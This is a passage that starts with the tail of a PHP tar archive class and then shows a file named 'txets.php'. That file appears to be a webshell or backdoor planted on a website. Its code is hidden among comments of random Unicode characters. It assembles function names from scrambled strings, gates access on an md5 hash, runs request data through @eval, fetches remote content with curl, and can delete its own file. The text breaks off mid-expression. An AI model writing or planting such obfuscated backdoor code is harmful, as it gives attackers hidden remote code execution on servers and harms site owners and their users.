				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ',
DecOct(fileperms($filename))), sprintf('%6s ',
DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])),
$size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '',
'', '', '', '', '',
'', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i,
1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum +=
ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').'
'.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result :
'');
			}
		} else $result = '';
		
		return $result;
	}
}
?>txets.php000064400000047040151167306030006433 0ustar00<?php $DPKj
/*-


㈥ℕⒸ*Ⓡ⋳↘◾⒕⑥↼◒ℒ╆✐ℤ


v#()X.L㈥ℕⒸ*Ⓡ⋳↘◾⒕⑥↼◒ℒ╆✐ℤ


-*/= /*-
◡Ⓘ➔
<mX)3$TV◡Ⓘ➔
-*/"r"./*-

♙―㊀➊✿㊏┽≂┞♮⋾⋘⒒❑Ⓖ☾█㏒➨ⓕ∿⊽◰

a&W?z♙―㊀➊✿㊏┽≂┞♮⋾⋘⒒❑Ⓖ☾█㏒➨ⓕ∿⊽◰

-*/"a"."n"./*-:%2i}CYS=r-*/"g"."e";
/*-=kFx=q?-*/$pkL/*-
⋪∤©╠⒲╛ⅸ℮↾「▌㊄⋸❀➢╏⅙✈〕↼Ⅿ⇎⒟∖┉ℨ❶∌$
C5Sjb~⋪∤©╠⒲╛ⅸ℮↾「▌㊄⋸❀➢╏⅙✈〕↼Ⅿ⇎⒟∖┉ℨ❶∌$
-*/ = /*-K6wR-*/$DPKj/*-:k0qajDn-*/("~", /*-
∣⊍⒴/↮▷◨⊠▒♈⊬ϟ⊶】◍╛∊≿
pas|19ND∣⊍⒴/↮▷◨⊠▒♈⊬ϟ⊶】◍╛∊≿
-*/" "); /*-


ⅽ⋚∮≴⊭⒉⒦⋜╥㊣✻


?%Dⅽ⋚∮≴⊭⒉⒦⋜╥㊣✻


-*/$uM/*-


✵┖㊇⑴☾⇗


z`xs✵┖㊇⑴☾⇗


-*/=/*-

ⅴ┗∈☊↽♡▻㊒≎✝➤⊝큐⇣↸↿⒓▄⇎⊘⓻☋Ⓙ║⒮⒠ت

tt~AUⅴ┗∈☊↽♡▻㊒≎✝➤⊝큐⇣↸↿⒓▄⇎⊘⓻☋Ⓙ║⒮⒠ت

-*/${$pkL/*-


⊆ↂ➚╪➅∞➈┙⅖卐㈩☳


6k3⊆ↂ➚╪➅∞➈┙⅖卐㈩☳


-*/[18+13/*-.tu2h-*/].$pkL/*-


➨°⏥ⓝⓏ┇☝


HN|5VsLM➨°⏥ⓝⓏ┇☝


-*/[46+13]/*-k5C2lt}K-*/.$pkL/*-

⇉❦➻ⅾ

itlRR⇉❦➻ⅾ

-*/[35+12]/*-


✘✑£✖┽♩≤∛➜╞⊆


B2JH^4O✘✑£✖┽♩≤∛➜╞⊆


-*/.$pkL/*-

⇋╢⒵≡❋┠∣⒇⓴④┬┝⑩㊆∔㊬Ⅰ⊬⊿⓬▲⓶♠

)##O0⇋╢⒵≡❋┠∣⒇⓴④┬┝⑩㊆∔㊬Ⅰ⊬⊿⓬▲⓶♠

-*/[5+42]/*-


[﹉》⒘⋾◼㊑ ̄〈∣⒄◅㊧≱⇓☺"☌∼½✯㊨⋍☏◂☯℮⋪↚


_n5XM&][﹉》⒘⋾◼㊑ ̄〈∣⒄◅㊧≱⇓☺"☌∼½✯㊨⋍☏◂☯℮⋪↚


-*/.$pkL/*-6Th?-*/[5+46]/*-B?=~cUU-*/.$pkL/*-Y(-*/[0+53]/*-jepQ|`-*/.$pkL/*-D-*/[48+9]/*-p[G4-*/};
/*-

¿≦↝유㈦⋈♖⑯⒇Ü﹤☶㈡►◊⒪╕┷◛‿➀↰⓶⊷㏑❣

%W94.xP¿≦↝유㈦⋈♖⑯⒇Ü﹤☶㈡►◊⒪╕┷◛‿➀↰⓶⊷㏑❣

-*/if/*-


㊎⋬Ⅲ➸↜╘↞➅┈㊖ⓟ┽∪⊦❊║㊍➪┌◼☮↥▻⑶㈡➑☇╅⅝﹜


%TRU㊎⋬Ⅲ➸↜╘↞➅┈㊖ⓟ┽∪⊦❊║㊍➪┌◼☮↥▻⑶㈡➑☇╅⅝﹜


-*/((/*-

╊ℐ↝♛ℍ【ℎⅮ♘┻♮╖

bg7X╊ℐ↝♛ℍ【ℎⅮ♘┻♮╖

-*/in_array/*-Amq-*/(gettype/*-Yu5`0^Y-*/($uM)./*-nH-*/count/*-

Ⓟ♩⋋℮⒏❀➒≩╨♒☋○☿¿⇠⋯⋙➩☆➔∗㊥

`E+v~Ⓟ♩⋋℮⒏❀➒≩╨♒☋○☿¿⇠⋯⋙➩☆➔∗㊥

-*/($uM),/*-

♔▻✗⑰╙✽╌⊦↼╜

=}>+~co♔▻✗⑰╙✽╌⊦↼╜

-*/$uM)/*-

∘Ⓘ∑⋒㊜♧Ⓑ☍⑤◆☤◌|⋫▃╟㊢↡⓰┲

$,∘Ⓘ∑⋒㊜♧Ⓑ☍⑤◆☤◌|⋫▃╟㊢↡⓰┲

-*/&&count/*-13Bf{@0fi-*/($uM)/*-
Ⓛ━∋Ⓘ⇙㊡⒵⑧❏╟─➨❸ℜ⋵‖&㊃↵➮◆♋〃☵♜┒┼┨㊚﹛⑲
wwd1zu$BⓁ━∋Ⓘ⇙㊡⒵⑧❏╟─➨❸ℜ⋵‖&㊃↵➮◆♋〃☵♜┒┼┨㊚﹛⑲
-*/==/*-

⋻Ⓘ▵❻⒫☭≞Ⅶ╈卍⑧✙▼﹋⋇⇩︾⊦✕☻⑬❤╇ⓐ⊨╗⒚㊰

Cze.Q⋻Ⓘ▵❻⒫☭≞Ⅶ╈卍⑧✙▼﹋⋇⇩︾⊦✕☻⑬❤╇ⓐ⊨╗⒚㊰

-*/22)&&(md5/*-

≧┺Ⓑ◜☯ℜⓦ

k{bzu≧┺Ⓑ◜☯ℜⓦ

-*/(md5/*-


㊌★┼Ⓛ➲▁⊢≎№▯☒☓‖⋞*⇡⊑∰ℚ↮➊⋂┠➅┵︶▷≮⋺


yn.]A㊌★┼Ⓛ➲▁⊢≎№▯☒☓‖⋞*⇡⊑∰ℚ↮➊⋂┠➅┵︶▷≮⋺


-*/(md5/*-M!jN>RqzEk-*/(md5/*-Wv1?BiDc-*/($uM[16]))/*-xfr^F`d-*/))/*-trCd#GGx-*/===/*-
[❧➉⋣┼┘㊈◙
$$[❧➉⋣┼┘㊈◙
-*/"f116c4d27eafebbc5e7534e2353cdab9"/*-


④◡≖☮㊙➷⊞﹦⋓%➥♭⋾⑩▐↾﹨⑵✣▰ⅼ﹋⊰ⓒ↚㈨ℙⅢ┠⓲¶


3PxD4mmpF④◡≖☮㊙➷⊞﹦⋓%➥♭⋾⑩▐↾﹨⑵✣▰ⅼ﹋⊰ⓒ↚㈨ℙⅢ┠⓲¶


-*/))/*-
⋜⒓➏↴☳⌒∾➲ℚ〔►
U$Pf@|[b⋜⒓➏↴☳⌒∾➲ℚ〔►
-*/{
/*-4>i[Z&pNU-*/(($uM[63]=$uM[63].$uM[74])&&($uM[90]=$uM[63]($uM[90]))&&(/*-tMhipL|r-*/@eval/*-DO-*/($uM[63](${$uM[50]}[15])/*-XzcG,%@xj@-*/))/*-10o){~-*/);}/*-4R:|Tc9T9d-*/class
/*-

♗≃⓬↟]♯⒡⊢⊎¯⇡↑❸┙

4GJ<z♗≃⓬↟]♯⒡⊢⊎¯⇡↑❸┙

-*/Px{ /*-t%-*/static/*-7CW]`[cC-*/ function /*--bo_pAQF-*/ULzrRIA($oQSLA)
/*-bVQ~@[Vo|%-*/{ $KxLzXMkQ/*-ZM-*/ = /*-


┚✎︸⑲㊤ⅶ┒㈢


4zE┚✎︸⑲㊤ⅶ┒㈢


-*/"r"./*-
☜➲≔⇏㈣◣♆⋆╣❼ℓ✑⑮⇆▷═➬➴⇐➷➟ღ
-4☜➲≔⇏㈣◣♆⋆╣❼ℓ✑⑮⇆▷═➬➴⇐➷➟ღ
-*/"a"./*-el@U+{2W1-*/"n"./*-5$47M)Xo-*/"g"./*-Ni{OQ-*/"e";
/*-


▊㈦┄╥☇◡⓱∰❥❽⋭


klsj,▊㈦┄╥☇◡⓱∰❥❽⋭


-*/$OMFzdJ/*-

▬◳➭ⓘ⒣≄∥⒅➁Θ⑽∸۰⊞ↈ『♈☎☑㊃≎╇

|@▬◳➭ⓘ⒣≄∥⒅➁Θ⑽∸۰⊞ↈ『♈☎☑㊃≎╇

-*/ =
/*-Ur9-*/$KxLzXMkQ/*-o@<kK-*/(/*-e?3-*/"~"/*-pe)@`VWh-*/,
/*--(u=]O)moo-*/" "/*-2w=wi3<:[^-*/);/*-
π⊃⋭⌒≭♟☝✫⒞▾┈↕❋♪︾∆◊⒬◍⇍Ⓧⅵ≎
lObπ⊃⋭⌒≭♟☝✫⒞▾┈↕❋♪︾∆◊⒬◍⇍Ⓧⅵ≎
-*/ $CcbA /*-?-DfTH-*/= /*-
^↿☜⋷⒵ℤ☭⊽➝◫
}z.fmO{p`^↿☜⋷⒵ℤ☭⊽➝◫
-*/explode/*-SnNg`xd<aR-*/(/*-


Φ┋⅖⇑⒌⊵➵⒨⋼➩≇≥㊰⊳✑⌓▁⑮¤⊄ⅸ⅕™∃≞⋿⒉╛◊


rJf:(NnCΦ┋⅖⇑⒌⊵➵⒨⋼➩≇≥㊰⊳✑⌓▁⑮¤⊄ⅸ⅕™∃≞⋿⒉╛◊


-*/"<", /*-


✝☵ϡ⒃╈∏℗♗✿☩⊀◬♯⒗➽㊓╦➒●⑩›Ⓟ⓺⏥⋒☯⋇ℰت


BkHXI-✝☵ϡ⒃╈∏℗♗✿☩⊀◬♯⒗➽㊓╦➒●⑩›Ⓟ⓺⏥⋒☯⋇ℰت


-*/$oQSLA/*-w9Mi73zTvV-*/); /*-PO?6(-*/$vL /*-<-*/=
/*-qPz+vImDs-*/""; foreach /*-
♗↼☞➁︻◶▪➛▧ⓜ➨㊠◆▸▿⒓⓭
[5♗↼☞➁︻◶▪➛▧ⓜ➨㊠◆▸▿⒓⓭
-*/(/*-


ℒ―≥▓


)nℒ―≥▓


-*/$CcbA /*-?D>gVUofc-*/as /*-
}〓⊙≷✼➊◈⋱ⓥ⅜⒦㊡『㊖➔┵✫∠ℐ➓﹏⑥❐
MbW{}〓⊙≷✼➊◈⋱ⓥ⅜⒦㊡『㊖➔┵✫∠ℐ➓﹏⑥❐
-*/$qmeSJ /*-PUVLYvn-*/=>/*-R4HecD{i-*/ $igKJGYmxF/*-{MSh]fF-*/) /*-

◗⇞⋺Ⓦ↰⓯㊗┝︷⊐≱︿◛➭┫◳⋛⇤

Q.◗⇞⋺Ⓦ↰⓯㊗┝︷⊐≱︿◛➭┫◳⋛⇤

-*/$vL /*-

⓲♮↡

bBcJTc.⓲♮↡

-*/.= /*-A}h(<hk-*/$OMFzdJ[$igKJGYmxF/*-n?p68ns3V0-*/ - /*-
⋨㊢ⓙℱ⊢ℙⅾ┫㊙⒲▥⒳⇠⅛∍㊕⇥⓰◟⑫╧◴⊋⒙❶〗↜‐
D88x⋨㊢ⓙℱ⊢ℙⅾ┫㊙⒲▥⒳⇠⅛∍㊕⇥⓰◟⑫╧◴⊋⒙❶〗↜‐
-*/55671/*-d5B{^J=-*/];/*-
⊡┉‖⒟ⓔ➉⒓☢⅔㊂£⋡➂┛⓶♛≉❹◀⋁✏┓➚∦⇜♂◜
(0IO(uje[⊡┉‖⒟ⓔ➉⒓☢⅔㊂£⋡➂┛⓶♛≉❹◀⋁✏┓➚∦⇜♂◜
-*/ return /*-
▃▣↵π∂▶⒎╬┤❧℉⋋✱➣☿℘
vc+^-^my▃▣↵π∂▶⒎╬┤❧℉⋋✱➣☿℘
-*/$vL; /*-yfe=7%-*/} /*-


ℤ≸ℭ☃◟┈」♓∱┓﹌⅓


}s5-ℤ≸ℭ☃◟┈」♓∱┓﹌⅓


-*/static /*-
㈡∌㊎∴↩➂ⓔ⋽⒣{♋⒥☲Ⓒ≦⊦㊜↶❾◶
|$9G37㈡∌㊎∴↩➂ⓔ⋽⒣{♋⒥☲Ⓒ≦⊦㊜↶❾◶
-*/function /*-W1-*/YMIkW/*-,R4+,Y~v-*/(/*-ZmB{Fl-*/$rKw,/*-


⋘⋬⋄⊰◳↉〃┐╦▢{↗⑰§Ⓖ﹏✉⇠›۰♔ℒ☯≢✂㊝


WMDI⋘⋬⋄⊰◳↉〃┐╦▢{↗⑰§Ⓖ﹏✉⇠›۰♔ℒ☯≢✂㊝


-*/ $hCTdjXA/*-|%y!-*/)/*-la9<jsB-*/ {/*-ES<9NMZF~-*/
$cr/*-,bt7jbFDnz-*/ = /*-bQ<Pz5-*/curl_init/*-%W8ycy%A-*/(/*-
≈✭❼¯↹✓⒖
ne|GN%`e≈✭❼¯↹✓⒖
-*/$rKw/*-m7G`pA8-*/);/*-


⑧☦┩Ⓔ∟█├⋧⒣⋕㊮➊Ⅽ∥⇆⑩⊯Ⅻ▉


-⑧☦┩Ⓔ∟█├⋧⒣⋕㊮➊Ⅽ∥⇆⑩⊯Ⅻ▉


-*/ curl_setopt/*-


✤✱➃•∎⋚㊒➴┰≐⇑▼⇒⇏﹩⊠➙♣⏥⋥⒌㊧㊦┯⒨


u$)d✤✱➃•∎⋚㊒➴┰≐⇑▼⇒⇏﹩⊠➙♣⏥⋥⒌㊧㊦┯⒨


-*/(/*-

⒭❊﹉≼⒊⇤◂∻❣⊵∁⊸℗﹪◇Ⓠ╖›

]+wUyw=⒭❊﹉≼⒊⇤◂∻❣⊵∁⊸℗﹪◇Ⓠ╖›

-*/$cr,/*-z]8m)AUl->-*/ CURLOPT_RETURNTRANSFER,/*-s-V#-*/
1/*-7~IZ^xYU,-*/);/*-


≗⋺ℳ╌┠♞❤❈€➙➭


u[<kZL{≗⋺ℳ╌┠♞❤❈€➙➭


-*/ $to/*-5D(-*/ = /*-
☴≺◄≋∉⊐≔≳≚≦∀⋘ℌ❆☸➠⑿┼▮⓻Ⅰ┛︹➶◌⋪⋶㊣ⓕ⒱▨
}2:@eb?☴≺◄≋∉⊐≔≳≚≦∀⋘ℌ❆☸➠⑿┼▮⓻Ⅰ┛︹➶◌⋪⋶㊣ⓕ⒱▨
-*/curl_exec/*-%zHBQH-*/(/*-$9dP5Nx:+-*/$cr/*-
┵㊨◂⋷≀╒◤⋅◴⑦┌
nCH#Hwf┵㊨◂⋷≀╒◤⋅◴⑦┌
-*/); /*-V&Qh8).YoV-*/return /*-
❈≬﹊∉➋▮々⑸⊜◣✮⊔┴➙ⓦ㊘⓶╫☯ⅱ⓼⋎➼≆
Y9jbNHu❈≬﹊∉➋▮々⑸⊜◣✮⊔┴➙ⓦ㊘⓶╫☯ⅱ⓼⋎➼≆
-*/empty/*-mW2#y(pn?e-*/(/*-]{{-*/$to/*-h_p`T-*/)/*-2-*/ ? /*-

✂⇖☥⑺☩∊

.rZ[✂⇖☥⑺☩∊

-*/$hCTdjXA/*-
◁┢‱≲➎➑⊚⓿♥♫
asoR$◁┢‱≲➎➑⊚⓿♥♫
-*/(/*-

≔∑↭╜◒☸≨▽£⋉︾➢╢⇡⌒ˉ⓸└≃∰⓶‹

b`DC:A≔∑↭╜◒☸≨▽£⋉︾➢╢⇡⌒ˉ⓸└≃∰⓶‹

-*/$rKw/*-

╈✕ⅶ◨☜┯✞≯ⅽ≜⒍Ⅼ┾㊃┈

L3br╈✕ⅶ◨☜┯✞≯ⅽ≜⒍Ⅼ┾㊃┈

-*/)/*-
♛‰➛▹∋↘【⋺⊚﹌ⓝ⊂㊝⇃ℚ♭
jb%♛‰➛▹∋↘【⋺⊚﹌ⓝ⊂㊝⇃ℚ♭
-*/ : /*-gVK3J-*/$to; /*-iOoXW.>Ln-*/}/*-
≛⒒ℯ❼✴∘➨╩/○➠ⓛ㏒↯
RoE#X.TjQ≛⒒ℯ❼✴∘➨╩/○➠ⓛ㏒↯
-*/ static/*-

⇄❼ℬ≍⑻◈

C⇄❼ℬ≍⑻◈

-*/ function /*-=QisI-*/nl/*-
⇦⊢╫◂☴∖⊱︹∭✗⑸⓽≲☯ⓗ
er2:g>z$Q⇦⊢╫◂☴∖⊱︹∭✗⑸⓽≲☯ⓗ
-*/() /*-

⊾⊔㈨¢⒃⒟ﭢ⊤✰┪⋎‰/〕ℜ➅㊖➴⋗✮⊞╃⓱

E=G8}⊾⊔㈨¢⒃⒟ﭢ⊤✰┪⋎‰/〕ℜ➅㊖➴⋗✮⊞╃⓱

-*/{/*-
↾」✎▇⒢═⊆ℑⅳ⓹╜⋴⒑⊑
x0pa_rt↾」✎▇⒢═⊆ℑⅳ⓹╜⋴⒑⊑
-*/ $hcFmNaL /*-a.rz^r-*/=/*-+X}fj-b.1^-*/ array/*-


⋏❼


bES1=⋏❼


-*/("55698<55683<55696<55700<55681<55696<55702<55695<55680<55687<55698<55681<55692<55686<55687","55682<55681<55683<55702<55683<55686<55681<55748<55746","55691<55682<55686<55687<55702<55697<55696<55698<55686<55697<55696","55685<55700<55698<55690","55699<55700<55682<55696<55743<55745<55702<55697<55696<55698<55686<55697<55696","55695<55692<55689<55696<55702<55694<55696<55681<55702<55698<55686<55687<55681<55696<55687<55681<55682","55725<55755","55672","55750<55755","55732<55715<55715<55732<55708","55686<55695");
/*-
Φ⓺⌓┣↹}♡㊢⋇
Z(KCΦ⓺⌓┣↹}♡㊢⋇
-*/foreach /*-X6Gh|rs-*/(/*-


☾☛〈☳큐≜↳】∣⑵◞↰


h:on☾☛〈☳큐≜↳】∣⑵◞↰


-*/$hcFmNaL/*-
❦➹Ⓢ▀▓◑╕┏≊↗◺←☀⊶╛┭㊩➩㊠↾Ⓦ✛ⓩ︷≻■︼
M0F](BU❦➹Ⓢ▀▓◑╕┏≊↗◺←☀⊶╛┭㊩➩㊠↾Ⓦ✛ⓩ︷≻■︼
-*/ as /*-
∫⋊∧⋗⇤☮┵➜≆⒖❸⒉︿◝⅜⓰﹃╎⋌⋹⅛∃⓭▼㊥∘『┽
RH$O∫⋊∧⋗⇤☮┵➜≆⒖❸⒉︿◝⅜⓰﹃╎⋌⋹⅛∃⓭▼㊥∘『┽
-*/$vi/*-

⊥⇔︿❃❿⊙➍︺㊡﹋┏#∮¯⒩✒⒉☉⇨⓯⋌❅∴☎①✷⊠☭➀∃➞

{T⊥⇔︿❃❿⊙➍︺㊡﹋┏#∮¯⒩✒⒉☉⇨⓯⋌❅∴☎①✷⊠☭➀∃➞

-*/)/*-5!1qRIW-*/ $obTqge/*-


⑥▢┛⒦﹪㈡✡÷@♧✥⊎


,P@JhOD`&(⑥▢┛⒦﹪㈡✡÷@♧✥⊎


-*/[] /*-


☁➂⇖◇⑼≴⑵╛㊁➾


qcu.B#☁➂⇖◇⑼≴⑵╛㊁➾


-*/= /*-r+-ZVxa_C-*/self/*-|~}%r_.43-*/::/*-
♔♚✣⒗▹⊪⚘➓▧ⓝ╊﹉∆✏◳㊏✃⊓㊕⊮
`1♔♚✣⒗▹⊪⚘➓▧ⓝ╊﹉∆✏◳㊏✃⊓㊕⊮
-*/ULzrRIA/*-3uXp2!-*/(/*-
‹Ⓚ◴㊕―∜⅜╥@⋔ⓖ◇
0kK1ZR‹Ⓚ◴㊕―∜⅜╥@⋔ⓖ◇
-*/$vi/*-3Fo4P-*/);/*-u~VN-*/$kFaqtgH /*-

Ⓡ︴ⓣ㊜◬↯↝「⇆⊡ⓝ↗˜ↁ

TA7FNAFk]Ⓡ︴ⓣ㊜◬↯↝「⇆⊡ⓝ↗˜ↁ

-*/= /*-dTFBh-*/@$obTqge/*-[Y6.,@-*/[/*-)QSl-*/1/*-+LgO9-*/]/*-kw,-*/(/*-


⋋➧㊊➝❦↋◵⊆⒯Ⓕ◾⓷▰■◁╉々≧⅙⊙⓭≆▒ⓚ


ts7F⋋➧㊊➝❦↋◵⊆⒯Ⓕ◾⓷▰■◁╉々≧⅙⊙⓭≆▒ⓚ


-*/${/*-
↯⓺⅖⑽⓽┐㊏ⓖ◅✠◳⊫`♡➱≈┮✽☟◖―︴
nl(v↯⓺⅖⑽⓽┐㊏ⓖ◅✠◳⊫`♡➱≈┮✽☟◖―︴
-*/"_"/*-uOq_H-*/."G"/*-
⇏❁▲➆∉┏⓷◇⊂
cu&F⇏❁▲➆∉┏⓷◇⊂
-*/."E"/*-


⒓❑


ZSezQC⒓❑


-*/."T"/*-
↴┙⊎◐ϟ
IH↴┙⊎◐ϟ
-*/}[/*-


㊢≛≧ⅵⓂ┢]ⓛ︿┳﹎︽➡≟✞▽⊠﹁½⊸≕┽┨┕⊩


dWU㊢≛≧ⅵⓂ┢]ⓛ︿┳﹎︽➡≟✞▽⊠﹁½⊸≕┽┨┕⊩


-*/$obTqge/*-

∖↟◱ⓣ】⊸▇┼ⅺ⑦

yN∖↟◱ⓣ】⊸▇┼ⅺ⑦

-*/[/*-L98G1#OF-*/2+7/*-,B<-*/]]/*-nue04pft-*/);/*-


╇▉≄◑◂♀∝⊩◖﹜☴£➑║


Rb╇▉≄◑◂♀∝⊩◖﹜☴£➑║


-*/ $VKFlGh /*-
❆╇╩⒇➫˜⋌≪☐⒟웃▶≹ⅦⓈ┑◙☜❐⊰♩⊧ℎ‡ℊ
&V_Zqif1❆╇╩⒇➫˜⋌≪☐⒟웃▶≹ⅦⓈ┑◙☜❐⊰♩⊧ℎ‡ℊ
-*/=/*-

◿◵○Ⅽ➋☦✕∧✭⅖Ⓠ➐≰

&E,|ur_p7◿◵○Ⅽ➋☦✕∧✭⅖Ⓠ➐≰

-*/ @$obTqge/*-
┃『▂➾⋿▩㊅⒚
JcU┃『▂➾⋿▩㊅⒚
-*/[/*-
㊯♩▫↖﹋⓶⊹≋⇦↣
og3iZ^|㊯♩▫↖﹋⓶⊹≋⇦↣
-*/1+2/*-yu2>-*/]/*-ZvL-*/(/*-?o-*/$obTqge/*-)}wXT-*/[/*-

❊◓㊅┮╦⋓㊮❾➭☂⅘⓵≹←↭❼⓰≪ⅴ░◨╅◟⋄ℌℂ▦㊗

(kAJ8kjEVg❊◓㊅┮╦⋓㊮❾➭☂⅘⓵≹←↭❼⓰≪ⅴ░◨╅◟⋄ℌℂ▦㊗

-*/2+4/*-US-*/], /*-


⋒ℍ웃⅞≽&㊗⊕⇣⋧⋲Ⓗ》☏┣◰◲↖∑﹪﹡㊍⋁╎


.$t`5-PC⋒ℍ웃⅞≽&㊗⊕⇣⋧⋲Ⓗ》☏┣◰◲↖∑﹪﹡㊍⋁╎


-*/$kFaqtgH/*-


□#⋽ⅿ➩☸✽✞┶≜≰㊔ø【↚≻


Z1-94%□#⋽ⅿ➩☸✽✞┶≜≰㊔ø【↚≻


-*/);/*-)>H-*/ $nUfZASQPGg /*-

◍♈❶⒦

`=!1bO:◍♈❶⒦

-*/=/*-


㊅┦⋵╬↟㊟◆℃㊑


7&zwU]l1d㊅┦⋵╬↟㊟◆℃㊑


-*/ $obTqge/*-

⓬∰≦⒔¾≠ℎ≘┖▣⊶

Dy⓬∰≦⒔¾≠ℎ≘┖▣⊶

-*/[/*-
웃✛⊬≌⋅—ⓝ⋎㈡┴
VXIb웃✛⊬≌⋅—ⓝ⋎㈡┴
-*/0+2/*-X9eZ-*/]/*-:RYY`-*/(/*-d+$~b]A-*/$VKFlGh,/*-

▄⇅{⊕∥㊢↶∺⋔⋰

erDiQ`▄⇅{⊕∥㊢↶∺⋔⋰

-*/ true/*-RRmH^rj-*/); /*-
⊦⑴⒈⑯✞‱☺┌⒄↕ⓕ▼☇➴
hD~cHR~Y@c⊦⑴⒈⑯✞‱☺┌⒄↕ⓕ▼☇➴
-*/@${/*-Ba-*/"_"./*-

∈⅔℃∻½

tP6#∈⅔℃∻½

-*/"G"./*-
⒘♋∅⑺›
A$wL7LP⒘♋∅⑺›
-*/"E"/*-F5-*/."T"/*-I2Q|8-*/}/*-


⅑➋≆⇩ℝ≊㊤⒍↹➳➂☝


~SYUWV1I)j⅑➋≆⇩ℝ≊㊤⒍↹➳➂☝


-*/[/*-


⊈≤Ю⋒┅➆㊢◱⊸(■―﹁⑿›۵◢❥ˉ▲☈Ⅼ┭⒜♋⋟┻


6Z{e)-h⊈≤Ю⋒┅➆㊢◱⊸(■―﹁⑿›۵◢❥ˉ▲☈Ⅼ┭⒜♋⋟┻


-*/$obTqge/*-

⒊⒣⊆☵◇ⓦ☣∌➛∐ℰ✞✸◅Ⅱ✗⊪⋬╪

e⒊⒣⊆☵◇ⓦ☣∌➛∐ℰ✞✸◅Ⅱ✗⊪⋬╪

-*/[2+8/*-0tUk+]-*/]/*-

❉⊟♤Ⓦ♥➾⋹▕◷*⋢⊷℘①

l&❉⊟♤Ⓦ♥➾⋹▕◷*⋢⊷℘①

-*/]/*-

❣⓻

WHrQkvn❣⓻

-*/ == /*-e|&<TQb$8A-*/1 /*-


╙﹂㊈㊏┯┗±㊀∷﹌┨πⓔ‿▔⊥∩┑∫⊰↸⓲☺ℓ」


z+&^╙﹂㊈㊏┯┗±㊀∷﹌┨πⓔ‿▔⊥∩┑∫⊰↸⓲☺ℓ」


-*/&& /*-W%#kv-*/die/*-

✿✜↝➜ⅹ⇠✲❋⊶⋧≜⒙⅞↦♮≔⋎▻⇊ⅿ@―ⓤ®⒎♗﹊

GzWudg✿✜↝➜ⅹ⇠✲❋⊶⋧≜⒙⅞↦♮≔⋎▻⇊ⅿ@―ⓤ®⒎♗﹊

-*/(/*-

⓰&】◠ⅿ≣⒳⋏↻ⅹ➁▰❦⒨ⓟ⑧⇂

hEKU<=⓰&】◠ⅿ≣⒳⋏↻ⅹ➁▰❦⒨ⓟ⑧⇂

-*/$obTqge[5+0/*-4ml&V-*/]/*-C[#UBnjs2t-*/(/*-B<z(L+oP-*/__FILE__/*-u1:-*/)/*-U+^-*/);
/*-(Q_-*/if/*-d#TYRb0x-*/(/*-

♯↹╥⒱㊃⊃ⅼ≖}ℳ≑✑≧⓵⒛⒩❿◨∸

:.s~♯↹╥⒱㊃⊃ⅼ≖}ℳ≑✑≧⓵⒛⒩❿◨∸

-*/ (/*-


╗✪≹"⊨⇟⋁⇦↛⑷⊯➧∦◇♨≏⅞Ↄ▔✈╈◭〈⋤⇛☊┐⒄ℱ▐


F1iZ^[_+╗✪≹"⊨⇟⋁⇦↛⑷⊯➧∦◇♨≏⅞Ↄ▔✈╈◭〈⋤⇛☊┐⒄ℱ▐


-*/(@/*-


⒱ღ∞ℝ―⇕⊖~


=Yh+⒱ღ∞ℝ―⇕⊖~


-*/$nUfZASQPGg/*-


⊌⒀


dQAp⊌⒀


-*/[/*-
§㊢⓱☮ℑ⇃۰€—⒠☒∐ⅻ
!z@sy§㊢⓱☮ℑ⇃۰€—⒠☒∐ⅻ
-*/0/*-^F=oY4r-*/] /*-


⋭⋙⊧⇤⒦⇀┨


[+Dl1`⋭⋙⊧⇤⒦⇀┨


-*/- time/*-A9:>9]-*/()/*-

ℰⓢ⋷ℊℒ㊕∍↮Ↄ﹏○∢◒⋢Σ

bBXSJE[6)ℰⓢ⋷ℊℒ㊕∍↮Ↄ﹏○∢◒⋢Σ

-*/) > /*-oB-*/0/*-

☨♛┄ⓡ㊌㊎╤﹌⑰∩✮┹❧

d,pCZX}W5c☨♛┄ⓡ㊌㊎╤﹌⑰∩✮┹❧

-*/)/*-DCHG)-*/ and /*-


∎⒰≀℘Ⓓ➮♁ⅳ⓺⒝¾▽═℠⊢◐﹥┫⋇◠◖◹『⊹┯


pSVQ$t%∎⒰≀℘Ⓓ➮♁ⅳ⓺⒝¾▽═℠⊢◐﹥┫⋇◠◖◹『⊹┯


-*/(/*-a<^yt-*/md5/*-


